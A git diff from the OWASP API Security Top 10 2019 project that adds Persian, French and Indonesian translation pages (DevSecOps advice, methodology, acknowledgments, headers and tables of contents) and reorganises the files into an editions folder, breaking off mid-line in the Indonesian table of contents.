DevSlop Pixi Module][4] که یک WebApp و سرویس API آزمایشگاهی آسیب‌پذیر است، انجام داد. استفاده از چنین ابزارهایی سبب یادگیری نحوه تست وب اپلیکیشن‌‌ها و APIهای مدرن از منظر مسائل امنیتی و چگونگی توسعه APIهای مدرن در آینده خواهد شد. همچنین امکان شرکت در جلسات آموزشی [کنفرانس AppSec][5] و عضویت در [شَعب محلی OWASP][6] نیز برای علاقه مندان وجود دارد.| +| **الزامات امنیتی** | امنیت باید بعنوان بخشی تفکیک ناپذیر در تمامی پروژه‌‌ها از ابتدا درنظر گرفته شود. در هنگام استخراج الزامات امنیتی، باید معنی واژه «ایمن» برای هر پروژه مشخصا تعریف شود. OWASP استفاده از [استاندارد امنیت سنجی اپلیکیشن (ASVS)][7] را بعنوان راهنمایی برای تعیین الزامات امنیتی توصیه می‌کند. در صورت برون سپاری نیز، استفاده از [ضمیمه قرارداد نرم افزار ایمن OWASP][8] (که بایستی با قوانین و رگولاتوری‌‌های محلی انطباق یابد) می‌تواند انتخاب مناسبی باشد. | +| **معماری امنیتی** | امنیت بایستی در تمامی مراحل توسعه پروژه‌‌ها اهمیت داشته باشد. [برگه‌‌های راهنمای پیشگیری OWASP][9] نقطه شروع مناسبی برای چگونگی طراحی ایمن در خلال فاز طراحی معماری به شمار آید. [همچنین برگه راهنمای امنیت REST][10] و [برگه راهنمای ارزیابی REST][11] نیز گزینه‌‌های مناسبی در این راستا هستند. | +| **کنترل‌‌های امنیتی استاندارد** | بکارگیری و انطباق با کنترل‌‌های امنیتی استاندارد ریسک ایجاد ضعف‌‌های امنیتی در خلال ایجاد برنامه‌‌ها با منطق سازمانی را کاهش می‌دهد. علیرغم اینکه بسیاری از چارچوب‌های مدرن امروزی با استانداردهای توکار و موثر امنیتی توزیع می‌شوند، اما [کنترل‌‌های پیشگیرانه و فعال OWASP][12] دید خوبی از کنترل‌‌هایی که باید در پروژه‌‌ها لحاظ شوند بدست می‌دهد. OWASP کتابخانه و ابزارهای متعددی از جمله در حوزه کنترل‌‌های اعتبارسنجی در اختیار عموم قرار می‌دهد که می‌توانند مفید باشند.| +| **چرخه حیات توسعه نرم افزار ایمن** | به منظور بهبود فرایندها در هنگام ایجاد و ساخت APIها می‌توان از [مدل ضمانت کمال نرم افزار OWASP (SAMM)][13] بهره برد. همچنین پروژه‌‌های متعدد دیگری نیز در OWASP وجود دارند که می‌توانند در فازهای مختلف توسعه API مفید باشند که از جمله آنها می‌توان، [پروژه بازبینی کد OWASP][14] را نام برد. | + + +[1]: https://www.owasp.org/index.php/Category:OWASP_Project +[2]: https://www.owasp.org/index.php/OWASP_Education_Material_Categorized +[3]: https://www.owasp.org/index.php/OWASP_API_Security_Project#tab=Road_Map +[4]: https://devslop.co/Home/Pixi +[5]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[6]: https://www.owasp.org/index.php/OWASP_Chapter +[7]: https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project +[8]: https://www.owasp.org/index.php/OWASP_Secure_Software_Contract_Annex +[9]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[10]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Security_Cheat_Sheet.md +[11]: https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/REST_Assessment_Cheat_Sheet.md +[12]: https://www.owasp.org/index.php/OWASP_Proactive_Controls#tab=OWASP_Proactive_Controls_2018 +[13]: https://www.owasp.org/index.php/OWASP_SAMM_Project +[14]: https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project diff --git a/editions/2019/fa/0xb1-next-devsecops.md b/editions/2019/fa/0xb1-next-devsecops.md new file mode 100644 index 000000000..f61b17db8 --- /dev/null +++ b/editions/2019/fa/0xb1-next-devsecops.md @@ -0,0 +1,22 @@ +# گام بعدی برای DevSecOps + +با توجه به اهمیت APIها در معماری اپلیکیشن‌های جدید، ایجاد APIهای ایمن امری حیاتی می‌باشد. مقوله امنیت را نمی‌توان نادیده گرفت و باید آن را جزئی از کل چرخه توسعه اپلیکیشن در نظر گرفت. انجام اسکن و تست‌ نفود، آن هم به صورت سالیانه به هیچ عنوان کافی نمی‌باشد. + +باید به فرایند توسعه DevSecOps افزوده شده و در تمام زمان‌های توسعه نرم افزار، انجام تست‌های امنیتی مداوم را تسهیل کند. هدف آنها بهره‌گیری از خودکارسازی‌ فرایندهای امنیتی در جهت بهبود فرایند تولید نرم افزار بوده به شکلی که تاثیری بر سرعت توسعه نداشته باشد. اگر شک دارید، [مانیفست DevSecOps][1] را بررسی کنید تا در جریان باشید. + +| | | +|--------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| درک مدل تهدیدات | اولویت‌ تست‌ها از مدل تهدیدات بدست می‌آید. اگر شما مدل تهدیدات ندارید می‌توانید از [OWASP Application Security Verification Standard (ASVS)][2] و [OWASP Testing Guide][3] به عنوان ورودی استفاده کنید. همچنین مشارکت دادن تیم توسعه می‌تواند باعث شود آنها نسبت به موضوعات امنیتی آگاه‌تر شوند. | +| درک چرخه توسعه نرم افزار | تیم توسعه را به فرایند اضافه کنید تا آنها نیز درک بهتری از چرحه توسعه نرم افزار پیدا کنند. مشارکت شما در انجام تست‌های مداوم امنیتی باید همراستا با افراد، فرایند‌ها و ابزارها باشد. همه باید با فرایند موافق باشند تا هیچ گونه اصطکاک و مقاومتی وجود نداشته باشد. | +| راهبرد انجام تست | با توجه به اینکه کار شما نباید تاثیری بر سرعت توسعه داشته باشد. بنابراین باید خیلی آگاهانه بهترین تکنیک (ساده، سریع‌ترین و دقیق‌ترین)‌ را برای تایید الزامات امنیتی انتخاب کنید. [OWASP Security Knowledge Framework][4] و [OWASP Application Security Verification Standard][5] می‌توانند منابع خوبی برای الزامات عملکردی و غیر عملکردی باشند. منابع خوب دیگری از [پروژه‌ها][6] و [ابزارها][7] مشابه با مواردی که توسط [DevSecOps community][8] پیشنهاد می‌شود، وجود دارد. | +| دستیابی به جامعیت و دقت | شما پلی هستید بین تیم‌ توسعه دهنده و ‌‌‌پیاده‌سازی، برای اینکه به این مهم دست یابید نه تنها باید بر روی عملکرد و قابلیت‌ها تمرکز کنید بلکه باید به هماهنگی نیز توجه کنید. از ابتدا به صورت نزدیک با هر دو تیم توسعه و ‌‌‌پیاده‌سازی کار کنید تا بتوانید زمان و تلاش‌تان را بهینه نمایید. شما باید برای حالتی که الزامات امنیتی به صورت مداوم بررسی شوند، هدف گذاری کنید. | +| به وضوح یافته‌‌‌ها را به اشتراک بگذارید | با کمترین اصطکاک یا بدون اصطکاک مشارکت داشته باشید. یافته‌‌ها را در بازه زمانی مشخص و در قالب ابزارهای مورد استفاده توسط تیم توسعه (نه فایل‌های PDF) تحویل دهید. به تیم توسعه اضافه شوید تا یافته‌ها را به آن‌ها نشان دهید. از این فرصت برای آموزش آنها استفاده کنید، به صورت شفاف در مورد نقطه ضعف و روش‌های سوء استفاده از آن (که شامل سناریو‌های حملات می‌باشند) توضیح دهید تا واقعی به نظر برسد. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: https://owasp.org/www-project-application-security-verification-standard/ +[6]: http://devsecops.github.io/ +[7]: https://github.com/devsecops/awesome-devsecops +[8]: https://www.devsecops.org/ diff --git a/editions/2019/fa/0xd0-about-data.md b/editions/2019/fa/0xd0-about-data.md new file mode 100644 index 000000000..304b5cb6e --- /dev/null +++ b/editions/2019/fa/0xd0-about-data.md @@ -0,0 +1,23 @@ +# متدلوژی و داده + +## بررسی اجمالی + +از آنجا که صنعت AppSec مشخصا بر امنیت اپلیکیشن‌‌های معماری نوین که در آنها API نقشی حیاتی دارد، تمرکز ننموده، ایجاد لیستی از ده ریسک امنیتی بحرانی امنیت API بر مبنای فراخوان عمومی کاری سخت خواهد بود. علیرغم اینکه فراخوانی برای داده‌‌های عمومی داده نشده، اما لیست فعلی بر مبنای داده‌های در دسترس عموم، مشارکت کارشناسان امنیتی و نظرات متخصصان حوزه امنیت، تهیه گردیده است. + +## متدلوژی + +در فاز اول، داده‌‌های در دسترس عموم در حوزه رخداده‌‌های مرتبط با امنیت API توسط گروهی از متخصصین امنیت جمع آوری، بازبینی و دسته بندی شدند. این داده‌‌ها از پلتفرم‌‌های شکار باگ و پایگاه‌‌های داده آسیب‌پذیری در یک چارچوب زمانی یک ساله به منظور تحلیل آماری جمع آوری شده اند. + +در فاز بعد، از متخصصین امنیت با سویه عملیاتی و تجربه تست نفوذ خواسته شد تا آنان نیز لیست ده ریسک امنیتی بحرانی API از منظر خود را با گروه به اشتراک گذارند. + +به منظور انجام فرایند تحلیل ریسک از [متدلوژی رتبه بندی ریسک OWASP][1] استفاده و نتایج آن نیز توسط متخصصین امنیتی بازبینی قرار گرفت. برای مطالعه بیشتر در این حوزه به بخش [ریسک‌‌های امنیتی API][2] مراجعه نمایید. + +پیش نویس اولیه ده ریسک امنیتی بحرانی APIها در 2019 از منظر OWASP از اجماع بین نتایج آماری فاز اول و لیست مدنظر متخصصین بدست آمده است و سپس به منظور بازبینی مجدد در اختیار گروه دیگری از متخصصین (با تجربه مرتبط در حوزه امنیت API) قرار گرفته است. + +مستند ده ریسک امنیتی بحرانی APIها در 2019 از منظر OWASP اولین بار در رویداد جهانیOWASP AppSec در تل‌آویو (می 2019) ارائه شده و پس از آن برای بحث و مشارکت عموم در GitHub قرار گرفت. + +لیست مشارکت کنندگان در بخش [سپاسگزاری‌‌ها][3] قابل مشاهده است. + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/fa/0xd1-acknowledgments.md b/editions/2019/fa/0xd1-acknowledgments.md new file mode 100644 index 000000000..463e51e48 --- /dev/null +++ b/editions/2019/fa/0xd1-acknowledgments.md @@ -0,0 +1,42 @@ +# سپاسگزاری‌ها + +## سپاسگزاری از مشارکت کنندگان + +بدینوسیله از تمامی مشارکت کنندگانی که به طور عمومی در GitHub و به سایر طرق در توسعه این مستند نقش داشته‌اند تشکر می‌نماییم + +* 007divyachawla +* Abid Khan +* Adam Fisher +* anotherik +* bkimminich +* caseysoftware +* Chris Westphal +* dsopas +* DSotnikov +* emilva +* ErezYalon +* flascelles +* Guillaume Benats +* IgorSasovets +* Inonshk +* JonnySchnittger +* jmanico +* jmdx +* Keith Casey +* kozmic +* LauraRosePorter +* Matthieu Estrade +* Mr-Listener +* nathanawmk +* PauloASilva +* pentagramz +* philippederyck +* pleothaud +* r00ter +* Raj kumar +* RNPG +* Sagar Popat +* Stephen Gates +* This-is-neo +* thomaskonrad +* xycloops123 diff --git a/editions/2019/fa/dist/owasp-api-security-top-10.odt b/editions/2019/fa/dist/owasp-api-security-top-10.odt new file mode 100644 index 000000000..b73bac676 Binary files /dev/null and b/editions/2019/fa/dist/owasp-api-security-top-10.odt differ diff --git a/editions/2019/fa/dist/owasp-api-security-top-10.pdf b/editions/2019/fa/dist/owasp-api-security-top-10.pdf new file mode 100644 index 000000000..7b07afc5b Binary files /dev/null and b/editions/2019/fa/dist/owasp-api-security-top-10.pdf differ diff --git a/2019/ru/src/images/cover.jpg b/editions/2019/fa/images/cover.jpg similarity index 100% rename from 2019/ru/src/images/cover.jpg rename to editions/2019/fa/images/cover.jpg diff --git a/2019/pt-pt/src/images/front-cc.png b/editions/2019/fa/images/front-cc.png similarity index 100% rename from 2019/pt-pt/src/images/front-cc.png rename to editions/2019/fa/images/front-cc.png diff --git a/2019/pt-pt/src/images/front-wasp.png b/editions/2019/fa/images/front-wasp.png similarity index 100% rename from 2019/pt-pt/src/images/front-wasp.png rename to editions/2019/fa/images/front-wasp.png diff --git a/2019/pt-pt/src/images/license.png b/editions/2019/fa/images/license.png similarity index 100% rename from 2019/pt-pt/src/images/license.png rename to editions/2019/fa/images/license.png diff --git a/2019/pt-pt/src/images/owasp-logo.png b/editions/2019/fa/images/owasp-logo.png similarity index 100% rename from 2019/pt-pt/src/images/owasp-logo.png rename to editions/2019/fa/images/owasp-logo.png diff --git a/editions/2019/fa/images/rnpg-logo.png b/editions/2019/fa/images/rnpg-logo.png new file mode 100644 index 000000000..77f975780 Binary files /dev/null and b/editions/2019/fa/images/rnpg-logo.png differ diff --git a/2019/fr/src/0x00-header.md b/editions/2019/fr/0x00-header.md similarity index 89% rename from 2019/fr/src/0x00-header.md rename to editions/2019/fr/0x00-header.md index a001e608b..2ff43157b 100755 --- a/2019/fr/src/0x00-header.md +++ b/editions/2019/fr/0x00-header.md @@ -1,6 +1,10 @@ +--- +title: '' +--- + ![OWASP LOGO](images/owasp-logo.png) -## OWASP API Security Top 10 2019 +# OWASP API Security Top 10 2019 Une traduction en français du projet original "The Ten Most Critical API Security Risks" diff --git a/2019/fr/src/0x00-notice.md b/editions/2019/fr/0x00-notice.md similarity index 91% rename from 2019/fr/src/0x00-notice.md rename to editions/2019/fr/0x00-notice.md index 45caf982b..b11fba9c8 100755 --- a/2019/fr/src/0x00-notice.md +++ b/editions/2019/fr/0x00-notice.md @@ -1,5 +1,4 @@ -Note -==== +# Note Ceci est la version texte de l'OWASP API Security Top 10, utilisé comme source pour la version officielle distribuée en Portable Document Format (PDF). @@ -11,4 +10,4 @@ traductions doivent être effectuées ici. Pour plus de détails sur * Erez Yallon * Inon Shkedy -[1]: ../../CONTRIBUTING.md +[1]: ../../../CONTRIBUTING.md diff --git a/2019/fr/src/0x00-toc.md b/editions/2019/fr/0x00-toc.md similarity index 94% rename from 2019/fr/src/0x00-toc.md rename to editions/2019/fr/0x00-toc.md index 18f1c471c..431cbb06a 100755 --- a/2019/fr/src/0x00-toc.md +++ b/editions/2019/fr/0x00-toc.md @@ -1,9 +1,8 @@ -Table des Matières -================== +# Table des Matières * [Table des Matières](0x00-toc.md) * [À propos d'OWASP](0x01-about-owasp.md) -* [Avant-propos](0x02-foreward.md) +* [Avant-propos](0x02-foreword.md) * [Introduction](0x03-introduction.md) * [Notes de versions](0x04-release-notes.md) * [Risques de sécurité des API](0x10-api-security-risks.md) diff --git a/2019/fr/src/0x01-about-owasp.md b/editions/2019/fr/0x01-about-owasp.md similarity index 98% rename from 2019/fr/src/0x01-about-owasp.md rename to editions/2019/fr/0x01-about-owasp.md index c4de919eb..46f00e9fb 100755 --- a/2019/fr/src/0x01-about-owasp.md +++ b/editions/2019/fr/0x01-about-owasp.md @@ -1,5 +1,4 @@ -À propos d'OWASP -================ +# À propos d'OWASP L'Open Web Application Security Project (OWASP) est une communauté ouverte dédiée à permettre aux organisations de développer, d'acheter et de maintenir diff --git a/2019/fr/src/0x02-foreword.md b/editions/2019/fr/0x02-foreword.md similarity index 98% rename from 2019/fr/src/0x02-foreword.md rename to editions/2019/fr/0x02-foreword.md index af9bc1c5a..994490e5c 100755 --- a/2019/fr/src/0x02-foreword.md +++ b/editions/2019/fr/0x02-foreword.md @@ -1,5 +1,4 @@ -Avant-propos -============ +# Avant-propos L'Application Programming Interface (API), en français interface de programmation applicative, est un élément fondateur des applications omniprésentes dans le monde actuel. Des banques, commerces, du diff --git a/2019/fr/src/0x03-introduction.md b/editions/2019/fr/0x03-introduction.md similarity index 98% rename from 2019/fr/src/0x03-introduction.md rename to editions/2019/fr/0x03-introduction.md index 181b5eab3..cfd30a687 100755 --- a/2019/fr/src/0x03-introduction.md +++ b/editions/2019/fr/0x03-introduction.md @@ -1,5 +1,4 @@ -Introduction -============ +# Introduction ## Bienvenue à l'OWASP API Security Top 10 - 2019 ! diff --git a/2019/fr/src/0x04-release-notes.md b/editions/2019/fr/0x04-release-notes.md similarity index 97% rename from 2019/fr/src/0x04-release-notes.md rename to editions/2019/fr/0x04-release-notes.md index 81d2c6932..c335882ed 100755 --- a/2019/fr/src/0x04-release-notes.md +++ b/editions/2019/fr/0x04-release-notes.md @@ -1,5 +1,4 @@ -Notes de versions -================= +# Notes de versions Ceci est la première édition de l'OWASP API Security Top 10, que nous prévoyons de mettre à jour périodiquement, tous les trois ou quatre ans. diff --git a/2019/fr/src/0x10-api-security-risks.md b/editions/2019/fr/0x10-api-security-risks.md similarity index 97% rename from 2019/fr/src/0x10-api-security-risks.md rename to editions/2019/fr/0x10-api-security-risks.md index e2383cc24..3e6199dce 100755 --- a/2019/fr/src/0x10-api-security-risks.md +++ b/editions/2019/fr/0x10-api-security-risks.md @@ -1,5 +1,4 @@ -Risques de sécurité des API -=========================== +# Risques de sécurité des API La [méthodologie d'évaluation de risques OWASP][1] a été utilisée pour effectuer l'analyse de risques. diff --git a/2019/fr/src/0x11-t10.md b/editions/2019/fr/0x11-t10.md similarity index 97% rename from 2019/fr/src/0x11-t10.md rename to editions/2019/fr/0x11-t10.md index 9184fcb48..7ff302c42 100755 --- a/2019/fr/src/0x11-t10.md +++ b/editions/2019/fr/0x11-t10.md @@ -1,5 +1,4 @@ -OWASP Top 10 Risques de sécurité des API – 2019 -=============================================== +# OWASP Top 10 Risques de sécurité des API – 2019 | Risque | Description | | ------ | ----------- | diff --git a/2019/fr/src/0xa1-broken-object-level-authorization.md b/editions/2019/fr/0xa1-broken-object-level-authorization.md similarity index 98% rename from 2019/fr/src/0xa1-broken-object-level-authorization.md rename to editions/2019/fr/0xa1-broken-object-level-authorization.md index d7f41b4b1..110b5e34f 100755 --- a/2019/fr/src/0xa1-broken-object-level-authorization.md +++ b/editions/2019/fr/0xa1-broken-object-level-authorization.md @@ -1,5 +1,4 @@ -API1:2019 Broken Object Level Authorization -=========================================== +# API1:2019 Broken Object Level Authorization | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa2-broken-user-authentication.md b/editions/2019/fr/0xa2-broken-user-authentication.md similarity index 98% rename from 2019/fr/src/0xa2-broken-user-authentication.md rename to editions/2019/fr/0xa2-broken-user-authentication.md index 74a6960eb..e32c78079 100755 --- a/2019/fr/src/0xa2-broken-user-authentication.md +++ b/editions/2019/fr/0xa2-broken-user-authentication.md @@ -1,5 +1,4 @@ -API2:2019 Broken User Authentication -==================================== +# API2:2019 Broken User Authentication | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa3-excessive-data-exposure.md b/editions/2019/fr/0xa3-excessive-data-exposure.md similarity index 98% rename from 2019/fr/src/0xa3-excessive-data-exposure.md rename to editions/2019/fr/0xa3-excessive-data-exposure.md index 1ff2a8b95..a32cebba0 100755 --- a/2019/fr/src/0xa3-excessive-data-exposure.md +++ b/editions/2019/fr/0xa3-excessive-data-exposure.md @@ -1,5 +1,4 @@ -API3:2019 Excessive Data Exposure -================================= +# API3:2019 Excessive Data Exposure | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa4-lack-of-resources-and-rate-limiting.md b/editions/2019/fr/0xa4-lack-of-resources-and-rate-limiting.md similarity index 98% rename from 2019/fr/src/0xa4-lack-of-resources-and-rate-limiting.md rename to editions/2019/fr/0xa4-lack-of-resources-and-rate-limiting.md index 7260d5775..58894535e 100755 --- a/2019/fr/src/0xa4-lack-of-resources-and-rate-limiting.md +++ b/editions/2019/fr/0xa4-lack-of-resources-and-rate-limiting.md @@ -1,5 +1,4 @@ -API4:2019 Lack of Resources & Rate Limiting -=========================================== +# API4:2019 Lack of Resources & Rate Limiting | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa5-broken-function-level-authorization.md b/editions/2019/fr/0xa5-broken-function-level-authorization.md similarity index 98% rename from 2019/fr/src/0xa5-broken-function-level-authorization.md rename to editions/2019/fr/0xa5-broken-function-level-authorization.md index a0dfed1a9..c0649bcf8 100755 --- a/2019/fr/src/0xa5-broken-function-level-authorization.md +++ b/editions/2019/fr/0xa5-broken-function-level-authorization.md @@ -1,5 +1,4 @@ -API5:2019 Broken Function Level Authorization -============================================= +# API5:2019 Broken Function Level Authorization | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa6-mass-assignment.md b/editions/2019/fr/0xa6-mass-assignment.md similarity index 98% rename from 2019/fr/src/0xa6-mass-assignment.md rename to editions/2019/fr/0xa6-mass-assignment.md index a8b877606..d8de49516 100755 --- a/2019/fr/src/0xa6-mass-assignment.md +++ b/editions/2019/fr/0xa6-mass-assignment.md @@ -1,5 +1,4 @@ -API6:2019 - Mass Assignment -=========================== +# API6:2019 - Mass Assignment | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa7-security-misconfiguration.md b/editions/2019/fr/0xa7-security-misconfiguration.md similarity index 98% rename from 2019/fr/src/0xa7-security-misconfiguration.md rename to editions/2019/fr/0xa7-security-misconfiguration.md index a6193e1a5..03209ecff 100755 --- a/2019/fr/src/0xa7-security-misconfiguration.md +++ b/editions/2019/fr/0xa7-security-misconfiguration.md @@ -1,5 +1,4 @@ -API7:2019 Security Misconfiguration -=================================== +# API7:2019 Security Misconfiguration | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa8-injection.md b/editions/2019/fr/0xa8-injection.md similarity index 99% rename from 2019/fr/src/0xa8-injection.md rename to editions/2019/fr/0xa8-injection.md index 9d5c6e490..eb2891046 100755 --- a/2019/fr/src/0xa8-injection.md +++ b/editions/2019/fr/0xa8-injection.md @@ -1,5 +1,4 @@ -API8:2019 Injection -=================== +# API8:2019 Injection | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xa9-improper-assets-management.md b/editions/2019/fr/0xa9-improper-assets-management.md similarity index 92% rename from 2019/fr/src/0xa9-improper-assets-management.md rename to editions/2019/fr/0xa9-improper-assets-management.md index d041071fc..6328fb04a 100755 --- a/2019/fr/src/0xa9-improper-assets-management.md +++ b/editions/2019/fr/0xa9-improper-assets-management.md @@ -1,5 +1,4 @@ -API9:2019 Improper Assets Management -==================================== +# API9:2019 Improper Assets Management | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | @@ -12,13 +11,14 @@ L'API peut être vulnérable si : * L'objectif de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses explicites aux questions suivantes : - * Dans quel environment tourne l'API (ex : production, staging, test, - développement) ? - * Qui doit avoir un accès réseau à l'API (ex : public, interne, partenaires) ? - * Quelle version de l'API tourne ? - * Quelles données sont collectées et traitées par l'API (ex : données - personnelles) ? - * Quel est le flux des données ? + * Dans quel environment tourne l'API (ex : production, staging, test, + développement) ? + * Qui doit avoir un accès réseau à l'API (ex : public, interne, + partenaires) ? + * Quelle version de l'API tourne ? + * Quelles données sont collectées et traitées par l'API (ex : données + personnelles) ? + * Quel est le flux des données ? * Il n'y a pas de documentation, ou la documentation existante n'est pas mise à jour. * Il n'y a pas de plan pour le retrait / la désactivation (des points d'accès diff --git a/2019/fr/src/0xaa-insufficient-logging-monitoring.md b/editions/2019/fr/0xaa-insufficient-logging-monitoring.md similarity index 97% rename from 2019/fr/src/0xaa-insufficient-logging-monitoring.md rename to editions/2019/fr/0xaa-insufficient-logging-monitoring.md index beaaef28f..d9f303a22 100755 --- a/2019/fr/src/0xaa-insufficient-logging-monitoring.md +++ b/editions/2019/fr/0xaa-insufficient-logging-monitoring.md @@ -1,5 +1,4 @@ -API10:2019 Insufficient Logging & Monitoring -============================================ +# API10:2019 Insufficient Logging & Monitoring | Facteurs de menace / Vecteurs d'attaque | Faille de sécurité | Impact | | - | - | - | diff --git a/2019/fr/src/0xb0-next-devs.md b/editions/2019/fr/0xb0-next-devs.md similarity index 98% rename from 2019/fr/src/0xb0-next-devs.md rename to editions/2019/fr/0xb0-next-devs.md index 4ba1a79d5..12ae47daf 100755 --- a/2019/fr/src/0xb0-next-devs.md +++ b/editions/2019/fr/0xb0-next-devs.md @@ -1,5 +1,4 @@ -Perspectives pour les Développeurs -================================== +# Perspectives pour les Développeurs Créer ou maintenir la sécurité d'un logiciel, ou corriger un logiciel existant, peut s'avérer difficile. Il en va de même pour les API. diff --git a/2019/fr/src/0xb1-next-devsecops.md b/editions/2019/fr/0xb1-next-devsecops.md similarity index 98% rename from 2019/fr/src/0xb1-next-devsecops.md rename to editions/2019/fr/0xb1-next-devsecops.md index d80ea42c7..098f498e6 100755 --- a/2019/fr/src/0xb1-next-devsecops.md +++ b/editions/2019/fr/0xb1-next-devsecops.md @@ -1,5 +1,4 @@ -Perspectives pour les DevSecOps -=============================== +# Perspectives pour les DevSecOps Du fait de leur importance dans les architectures des applications modernes, il est crucial de construire des API sécurisées. La sécurité ne peut pas être diff --git a/2019/fr/src/0xd0-about-data.md b/editions/2019/fr/0xd0-about-data.md similarity index 97% rename from 2019/fr/src/0xd0-about-data.md rename to editions/2019/fr/0xd0-about-data.md index 7a278c8db..edde51877 100755 --- a/2019/fr/src/0xd0-about-data.md +++ b/editions/2019/fr/0xd0-about-data.md @@ -1,5 +1,4 @@ -Méthodologie et Données -======================= +# Méthodologie et Données ## Présentation diff --git a/2019/fr/src/0xd1-acknowledgments.md b/editions/2019/fr/0xd1-acknowledgments.md similarity index 95% rename from 2019/fr/src/0xd1-acknowledgments.md rename to editions/2019/fr/0xd1-acknowledgments.md index c17e534d4..1e58ad044 100755 --- a/2019/fr/src/0xd1-acknowledgments.md +++ b/editions/2019/fr/0xd1-acknowledgments.md @@ -1,5 +1,4 @@ -Remerciements -============= +# Remerciements ## Remerciements aux Contributeurs diff --git a/2019/fr/dist/owasp-api-security-top-10.odt b/editions/2019/fr/dist/owasp-api-security-top-10.odt similarity index 100% rename from 2019/fr/dist/owasp-api-security-top-10.odt rename to editions/2019/fr/dist/owasp-api-security-top-10.odt diff --git a/2019/fr/dist/owasp-api-security-top-10.pdf b/editions/2019/fr/dist/owasp-api-security-top-10.pdf similarity index 100% rename from 2019/fr/dist/owasp-api-security-top-10.pdf rename to editions/2019/fr/dist/owasp-api-security-top-10.pdf diff --git a/editions/2019/fr/images/cover.jpg b/editions/2019/fr/images/cover.jpg new file mode 100755 index 000000000..5ef93f221 Binary files /dev/null and b/editions/2019/fr/images/cover.jpg differ diff --git a/2019/ru/src/images/front-cc.png b/editions/2019/fr/images/front-cc.png old mode 100644 new mode 100755 similarity index 100% rename from 2019/ru/src/images/front-cc.png rename to editions/2019/fr/images/front-cc.png diff --git a/2019/ru/src/images/front-wasp.png b/editions/2019/fr/images/front-wasp.png old mode 100644 new mode 100755 similarity index 100% rename from 2019/ru/src/images/front-wasp.png rename to editions/2019/fr/images/front-wasp.png diff --git a/2019/ru/src/images/license.png b/editions/2019/fr/images/license.png old mode 100644 new mode 100755 similarity index 100% rename from 2019/ru/src/images/license.png rename to editions/2019/fr/images/license.png diff --git a/2019/ru/src/images/owasp-logo.png b/editions/2019/fr/images/owasp-logo.png old mode 100644 new mode 100755 similarity index 100% rename from 2019/ru/src/images/owasp-logo.png rename to editions/2019/fr/images/owasp-logo.png diff --git a/editions/2019/id/0x00-header.md b/editions/2019/id/0x00-header.md new file mode 100644 index 000000000..d12cffdaa --- /dev/null +++ b/editions/2019/id/0x00-header.md @@ -0,0 +1,20 @@ +--- +title: '' +--- + +![OWASP LOGO](./images/owasp-logo.png) + +# OWASP API Security Top 10 2019 + +Sepuluh Risiko Keamanan API yang Paling Kritis + +29 Mei 2019 + +![WASP Logo URL TBA](./images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + diff --git a/editions/2019/id/0x00-notice.md b/editions/2019/id/0x00-notice.md new file mode 100644 index 000000000..5b6ba879d --- /dev/null +++ b/editions/2019/id/0x00-notice.md @@ -0,0 +1,11 @@ +# Pemberitahuan + +Ini adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk versi resmi yang didistribusikan sebagai Portable Document Format (PDF). + +Kontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk detail tentang [Cara Berkontribusi][1], harap mengacu pada [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy + +[1]: ../../../CONTRIBUTING.md + diff --git a/editions/2019/id/0x00-toc.md b/editions/2019/id/0x00-toc.md new file mode 100644 index 000000000..6928016b7 --- /dev/null +++ b/editions/2019/id/0x00-toc.md @@ -0,0 +1,23 @@ +# Daftar Isi + +* [Daftar Isi](0x00-toc.md) +* [Tentang OWASP](0x01-about-owasp.md) +* [Kata Pengantar](0x02-foreword.md) +* [Pengenalan](0x03-introduction.md) +* [Catatan Rilis](0x04-release-notes.md) +* [Ancaman Keamanan API](0x10-api-security-risks.md) +* [OWASP Top 10 Ancaman Keamanan API – 2019](0x11-t10.md) +* [API1:2019 Otorisasi Objek Rusak](0xa1-broken-object-level-authorization.md) +* [API2:2019 Otentikasi Pengguna Rusak](0xa2-broken-user-authentication.md) +* [API3:2019 Paparan Data Berlebihan](0xa3-excessive-data-exposure.md) +* [API4:2019 Kurangnya Sumber Daya & Pembatasan Tingkat](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 Otorisasi Tingkat Fungsi Rusak](0xa5-broken-function-level-authorization.md) +* [API6:2019 Penugasan Massal](0xa6-mass-assignment.md) +* [API7:2019 Konfigurasi Keamanan yang Salah](0xa7-security-misconfiguration.md) +* [API8:2019 